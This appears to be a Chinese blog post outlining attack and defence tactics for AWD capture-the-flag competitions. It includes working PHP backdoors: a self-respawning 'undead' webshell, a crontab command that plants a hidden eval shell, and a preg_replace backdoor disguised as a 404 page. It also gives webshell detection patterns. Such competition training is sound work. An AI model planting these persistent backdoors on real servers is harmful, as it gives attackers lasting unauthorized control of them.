(1)AWD入门攻略大纲

news2025/1/6 21:49:39

1.比赛介绍


(1)比赛环境

(2)常见服务器信息介绍

  • 比赛名称

  • 白名单:一般用于防止外部恶意攻击,如果赛方发现名单以外IP可能会进行封禁处理。

  • 服务器账号密码

  • Token和虚拟IP:token为提交答案的凭证,绑定了队伍;虚拟IP为靶机访问网址。

  • 其他选手地址:例如192-168-x-250.pvp923.bugku.cn,x可以是1-255内任一个数字,需要自己扫描可ping通ip并记录。

  • Flag提交区域

  • 提交脚本API:最好提前写好提交脚本

(3)题型

  • 主要题型为WEB和PWN,涉及语言多数为PHP,还有少量Java、Python。

  • WEB主要是一些CMS和框架安全漏洞,如注入、上传和反序列化等,更多是依赖已知漏洞。

(4)攻防思路

2.攻击思路


(1)信息收集(攻击)

①主机探测(nmap、httpscan)

  • 扫描C段存活主机

    

②端口探测(nmap)

  • 首先搜集自己端口信息 ,再类比扫描其他主机

    

③应用发现(代表性文件)

  • 组件发现 

  • 网站发现 

  • 日志发现

④备份扫描

https://github.com/sry309/ihoneyBakFileScan 多进程批量网站备份文件泄露扫描工具

https://github.com/maurosoria/dirsearch WEB网站目录扫描

(2)攻击主机端口

  • 未授权访问漏洞利用总结参考: 未授权访问漏洞总结

  • 部分利用工具参考:

    https://github.com/vanhauser-thc/thc-hydra Hydra九头蛇

    https://github.com/shack2/SNETCracker 超级弱口令工具

    https://github.com/se55i0n/DBScanner 数据库爆破工具

 https://github.com/cwkiller/unauthorized-check 未授权检测工具

  • 字典参考:

    https://github.com/cpkkcb/fuzzDicts

    GitHub - TheKingOfDuck/fuzzDicts: Web Pentesting Fuzz 字典,一个就够了。

(3)攻击Web服务

    一般通过访问获取的端口就能访问到预设的WEB靶场,Web环境分为两种:

  • 已有漏洞框架:如Struts2各种漏洞等等,提前准备好工具扫出来

  • 出题人设计框架:分析WEB日志,学习其他选手攻击思路和漏洞利用过程

(4)权限提升

Linux 提权总结 - 腾讯云开发者社区-腾讯云 一般提权

https://github.com/SecWiki/linux-kernel-exploits 提权脚本

(5)权限维持

    拿到WEBSHELL后,需要维持权限!简单的WEBSHELL 一眼就会被识别,在AWD 中优先考虑种不死马、反弹 SHELL等留后门方式维持权限,以便后续刷 FLAG,再考虑提升权限。

  • 隐藏的文件读取(条件允许的话,将flag信息直接读取并返回到header头中,这样做不易被发现)

    

  • PHP不死马案例

<?php
ignore_user_abort(true); #客户机断开依旧执行
set_time_limit(0); #函数设置脚本最大执行时间。这里设置为0,即没有时间方面的限制。
unlink(__FILE__); 删除文件本身,以起到隐蔽自身的作用。
$file = '2.php';
$code = '<?php if(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72"){@eval($_POST[a]);} ?>';
while (1){
file_put_contents($file,$code);
system('touch -m -d "2018-12-01 09:10:12" .2.php');
usleep(5000);
}
  • 定时马案例

system('echo "* * * * * echo \"<?php if(md5(\\\\\\\\\$_POST[pass])==
\'7b7fdffef464019f7190d0384d5b3838\'){@eval(\\\\\\\\\$_POST[1]);} \" >/var/www/html/.index.php\n* * * * * chmod 777 /var/www/html/.index.php" | crontab;whoami');    

(6)快速得分

  • 编写Python脚本(后续补充)

  • CURL工具批量获取Flag后续补充

  • 批量利用框架工具参考:https://github.com/Ares-X/AWD-Predator-Framework

3.防御技术


(1)网站备份

    目的是防止修改源码出错,或被对手恶意删除源码,或快速恢复网站防止被裁判组check探测服务存活失败丢分。
    ①压缩文件
tar -cvf web.tar /var/www/html
zip -q -r web.zip /var/www/html 

 ②解压文件

tar -xvf web.tar -c /var/www/html
unzip web.zip -d /var/www/html

 

③备份到服务器
mv web.tar /tmp
mv web.zip /home/xxx

 

 ④本地上传下载文件
scp username@servername:/path/filename /tmp/local_destination #从服务器下载单个文件到本地
scp /path/local_filename username@servername:/path #从本地上传单个文件到服务器
scp -r username@servername:remote_dir/ /tmp/local_dir #从服务器下载整个目录到本地
scp -r /tmp/local_dir username@servername:remote_dir #从本地上传整个目录到服务器

(2)数据备份

    php网站数据库配置信息为 config.php/web.conf (待补充python和java)
①备份指定数据库
  mysqldump  u  username – p  password databasename  >  bak.sql
②备份所有数据库
    mysqldumpall -databases > bak.sql
③导入数据库
    mysqlu username – p password database < bak.sql

(3)信息收集(防御)

netstat -ano/-a #查看端口情况
uname -a #系统信息
ps -aux、ps -ef #进程信息
cat /etc/passwd #用户情况
ls /home/ #用户情况
id #用于显示用户ID,以及所属群组ID
find / -type d -perm -002 #可写目录检查
grep -r “flag” /var/www/html/ #查找默认FLAG

 

(4)口令更改

    信息搜集后,将未授权和弱口令问题及时修复,包括但不限于 服务器SSH口令、数据库口令和WEB服务口令(后台密码)
passwd username #ssh口令修改
set password for mycms@localhost = password('123'); #MySQL密码修改
find /var/www//html -path '*config*’ #查找配置文件中的密码凭证

(5)备份检查(防止备份被删除)

find /var/www/html/ -name "*.tar"
find /var/www/html/ -name "*.zip" 

(6)后门查杀(要不断监控)

    命令查看可疑文件:

 

find /var/www/html -name *.php -mmin -20 #查看最近20分钟修改文件
find ./ -name '*.php' | xargs wc -l | sort -u #寻找行数最短文件
grep -r --include=*.php '[^a-z]eval($_POST' /var/www/html #查包含关键字的php文件
find /var/www/html -type f -name "*.php" | xargs grep "eval(" |more

  • 一般查杀 河马WEBSHELL和D盾查杀
# phpwebshell
<?php @eval($_GET['cmd']); ?>
<?php @eval($_POST['cmd']); ?>
<?php @eval($_REQUESTS['cmd']); ?>

# jspwebshell
<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>

# aspwebshell
<%eval request ("cmd")%> 或 <% execute(request("cmd")) %>
  • 不死马查杀:杀进程后重启服务、写一个同名的文件夹和写一个sleep时间低于别人的马(或者写一个脚本不断删除别人的马)
<?php
system("kill -9 pid;rm -rf .shell.php"); #pid和不死马名称根据实际情况定
?>
  • 后门用户查杀:UID大于500的都是非系统账号,500以下的都为系统保留的账号,使用userdel -r username 完全删除账户
  • 其他查杀 部分后门过于隐蔽,可以使用 ls -al命令查看所有文件及文件修改时间和内容进行综合判断,进行删除。可以写脚本定时清理上传目录、定时任务和临时目录等
经典preg_replace伪装的404后门示例:
使用菜刀连接 密码:error

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
</body></html>

<?php @preg_replace("/[pageerror]/e",$_POST['error'],"saft"); header('HTTP/1.1 404 Not Found');
?>
(7)关闭进程
ps -aux #查看进程
kill -9 pid #强制进程查杀 
(8)关闭端口
netstat -anp #查看端口
firewall-cmd --zone= public --remove-port=80/tcp –permanent #关闭端口
firewall-cmd –reload #重载防火墙 
(9)漏洞修复
    漏洞修复遵循保证服务不长时间宕机的情况下进行修复, 多使用安全过滤函数,能修复尽量修复,不能修复先注释或删除相关代码,但需保证页面显示正常。
     可以下载文件到本地进行修改后上传到服务器进行覆盖操作,也可以直接通过vim编辑器进行代码修复操作 ,恢复参考:
  • Web常见漏洞描述及修复建议 - 我超怕的 - 博客园 常规漏洞修复建议
  • PHP中的安全函数 - 踏雪无痕SS - 博客园 PHP安全函数
(10)文件监控
        文件监控能及时防止木马文件后门生成,及时防止删除丢失
  • 文件监控脚本: GitHub - TheKingOfDuck/FileMonitor: 文件变化实时监控工具(代码审计/黑盒/白盒审计辅助工具)
(11)部署WAF
     比赛规则决定能否部署WAF和监控工具。WAF具有两面性,抵挡大部分攻击的同时, 可能因为某些函数无法使用导致服务宕机。WAF可以自己写,也可以使用如 安全狗等第三方WAF。
  • 常见PHP网站系统WAF添加路径:
DiscuzX2 \config\config_global.php

Wordpress \wp-config.php

Metinfo \include\head.php

PHPCMS V9 \phpcms\base.php

PHPWIND8.7 \data\sql_config.php

DEDECMS5.7 \data\common.inc.php
  • WAF脚本参考: GitHub - sharpleung/CTF-WAF: 针对CTF线下赛的通用WAF,日志审计功能。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/75607.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

SpringCloud中Feign注解@FeignClient参数一览表

写在前面 Feign是微服务中服务间调用的优选组件&#xff0c;后来的OpenFeign也是基于此来开展的。 为什么要梳理一下Feign注解FeignClient中的各个参数&#xff1f; 踩坑太多面试总问 参数一栏表 FeignClient的源码示例图如下&#xff1a; 今天我们接着来说最后的几个参数。…

Java面试题(六)美团JVM夺命7连问(灵魂拷问)

0.来看一道美团的面试题 这题直接把人给问懵逼了&#xff0c;你能全部答出来吗&#xff1f; Object o new Object();请解释对象的创建过程&#xff1f;DCL要不要加volatile问题&#xff1f;对象在内存中的存储布局&#xff1f;什么是指针压缩&#xff1f;对象头具体包含哪些…

生成树问题汇总

生成树问题汇总注1、最小(大)生成树思路代码例子&#xff1a;1、最小生成树结果是2、最大生成树结果2、在最小生成树中再加一条边&#xff0c;求新的最小生成树思路代码核心代码全部代码例子3、次小生成树思路:在上一个功能基础上进一步扩充代码核心代码全部代码例子4、判断最小…

一个轻量级的分布式日志标记追踪神器,十分钟接入,非常好用!

TLog简介 1、TLog通过对日志打标签完成企业级微服务的日志追踪。它不收集日志&#xff0c;使用简单&#xff0c; 产生全局唯一的追踪码。除了追踪码以外&#xff0c;TLog还支持SpanId和上下游服务信息 标签的追加。 2、为用户使用方便而设计&#xff0c;提供完全零侵入式接入…

es入门(上)

笔记来源于学习 b站中的【IT李老师】的elasticsearch课程 自己在实习做的es模块中的理解。 后续会有 中&#xff0c;下篇笔记更新&#xff0c;目前这一篇是上篇。 目录 Elastic Stack简介 1.1简介 1.2特色 1.3组件介绍 2.Elasticsearch的接收与核心概念 2.1搜索是什么…

【Keras+计算机视觉+Tensorflow】OCR文字识别实战(附源码和数据集 超详细必看)

需要源码和数据集请点赞关注收藏后评论区留言私信~~~ 一、OCR文字识别简介 利用计算机自动识别字符的技术&#xff0c;是模式识别应用的一个重要领域。人们在生产和生活中&#xff0c;要处理大量的文字、报表和文本。为了减轻人们的劳动&#xff0c;提高处理效率&#xff0c;从…

[python]初步练习脚本

之前练习的python&#xff0c;编写的脚本&#xff0c;现在作为记录&#xff0c;方便查看~ python 初步练习脚本基础部分的练习脚本脚本代码1、helloworld.py&#xff0c;有for循环语句2、main.py3、range—test.py&#xff0c;范围4、RE.py&#xff0c;花式输出内容5、turtle练…

Jekins安装和部署

1.官网下载 注意jekins各版本不同支持jdk的版本也不同 https://www.jenkins.io/download/ 如图进去后可看见最新版&#xff0c;而past releases是历史版本 查看自己各版本的支持 我下载的是2.346.1版本&#xff0c;是war包形式 2.启动jekins 直接在war包路径 java命令启动…

lspci命令整理

1. 作用&#xff1a; 显示当前主机的所有PCI总线信息 2. 常用指令&#xff1a; lspci -nn 第一列的数字&#xff1a;总线编号(Bus Number)&#xff1a;设备编号&#xff08;Device Number&#xff09;&#xff1a;功能编号&#xff08;Function Number&#xff09; 第一个中括…

全国青少年软件编程等级考试C语言标准解读(1_10级)

考试性质 全国青少年软件编程等级考试标准&#xff08;C/C&#xff09;由中国电子学会科普培训与应用推广中心指定。由全国青少年电子信息科普创新联盟标准工作组开发&#xff0c;由中国电子学会普及工作委员会审核通过&#xff0c;适用于由中国电子学会主办的青少年软件编程等…

vue中的process.env的理解

创建项目的时候突然发现好多前端有好多地方用到了这个process.env.xxxx但是发现其实我的新项目并没有定义这个内容&#xff0c;于是就对这个变量产生了好奇&#xff0c;这里总结一下 上图是我在node命令行下执行的查看了一下变量&#xff0c;看这情况直接是把系统的环境变量给…

少走弯路,关于在线客服系统的二三事

日常生活中&#xff0c;我们购买一个服务或一个商品时&#xff0c;时常会遇到以下场景&#xff1a; 售前咨询&#xff1a;向商家咨询服务的信息咨询、商品的规格产品咨询、以及商场活动、优惠咨询等 售后服务&#xff1a;商品使用问题、商品不满意退/换货等 在移动通信没有普…

Camera Surface 从应用到cameraserver的流转

一、Android相机应用与Surface Camera应用的预览一般通过SurfaceView去显示&#xff0c;SurfaceView作为显示的载体&#xff0c; Surface surface mSurfaceView.getSurfaceHolder().getSurface(); 获取的surface会通过Camera API1/API2的接口下发到framework层&#xff1b;…

基于模型的设计(MBD)在汽车ECU软件开发中的实践

基于模型的设计&#xff08;Model-based Design&#xff0c;以下简称MBD&#xff09;是一种围绕模型展开的项目开发方法&#xff0c;指对开发对象或者项目产品进行精确建模&#xff0c;项目的需求分析、功能设计、系统框架、代码生成、测试验证等开发环节都在模型的基础上展开。…

如何用策略模式,优化你代码里的的if-else?

最近有一个学妹在跟我沟通如何有效的去避免代码中一长串的if else判断或者switch条件判断&#xff1f;针对更多的回答就是合理的去使用设计来规避这个问题。 在设计模式中&#xff0c;可以使用工厂模式或者策略模式来处理这类问题&#xff0c;之前已经分享了工厂模式&#xff…

Hadoop集群中HDFS的API测试案例以及MapReduce的多种提交Job方式案例

这两个案例默认是hadoop集群环境已经搭建好以及IDEA环境也已经配置好 1、HDFS客户端测试案例 1.1、pom依赖 <?xml version"1.0" encoding"UTF-8"?> <project xmlns"http://maven.apache.org/POM/4.0.0" xmlns:xsi"http://www…

Java使用ftl模板文件生成Word,以及Word转换图片或Pdf工具类

Java使用ftl模板文件生成Word 一、写在前面 最近在项目中使用打印功能&#xff0c;发现这个功能我已经写过多次了&#xff0c;下面这个文章的发步日期在2020年&#xff0c;不得不感慨时间之快啊。 https://blog.csdn.net/weixin_43238452/article/details/109636200?spm1001…

this关键字,是如何把你难倒的?

作为一名实战前端工程师&#xff0c;在jq时代&#xff0c;是经常被this关键字难倒的。几年前每次我意识到程序出现问题的时候&#xff0c;都本能反应是自己的this没有绑定好&#xff0c;于是重新绑定一下&#xff0c;就能解决了。但是他确实一直为难着我。 转眼到了2022年底&a…

图解LeetCode——1780. 判断一个数字是否可以表示成三的幂的和(难度:中等)

一、题目 给你一个整数 n &#xff0c;如果你可以将 n 表示成若干个不同的三的幂之和&#xff0c;请你返回 true &#xff0c;否则请返回 false 。 对于一个整数 y &#xff0c;如果存在整数 x 满足 y 3^x &#xff0c;我们称这个整数 y 是三的幂。 二、示例 2.1> 示例…

SpringBoot面试杀手锏——自动配置原理

引言 不论在工作中&#xff0c;亦或是求职面试&#xff0c;Spring Boot已经成为我们必知必会的技能项。除了某些老旧的政府项目或金融项目持有观望态度外&#xff0c;如今的各行各业都在飞速的拥抱这个已经不是很新的Spring启动框架。 当然&#xff0c;作为Spring Boot的精髓…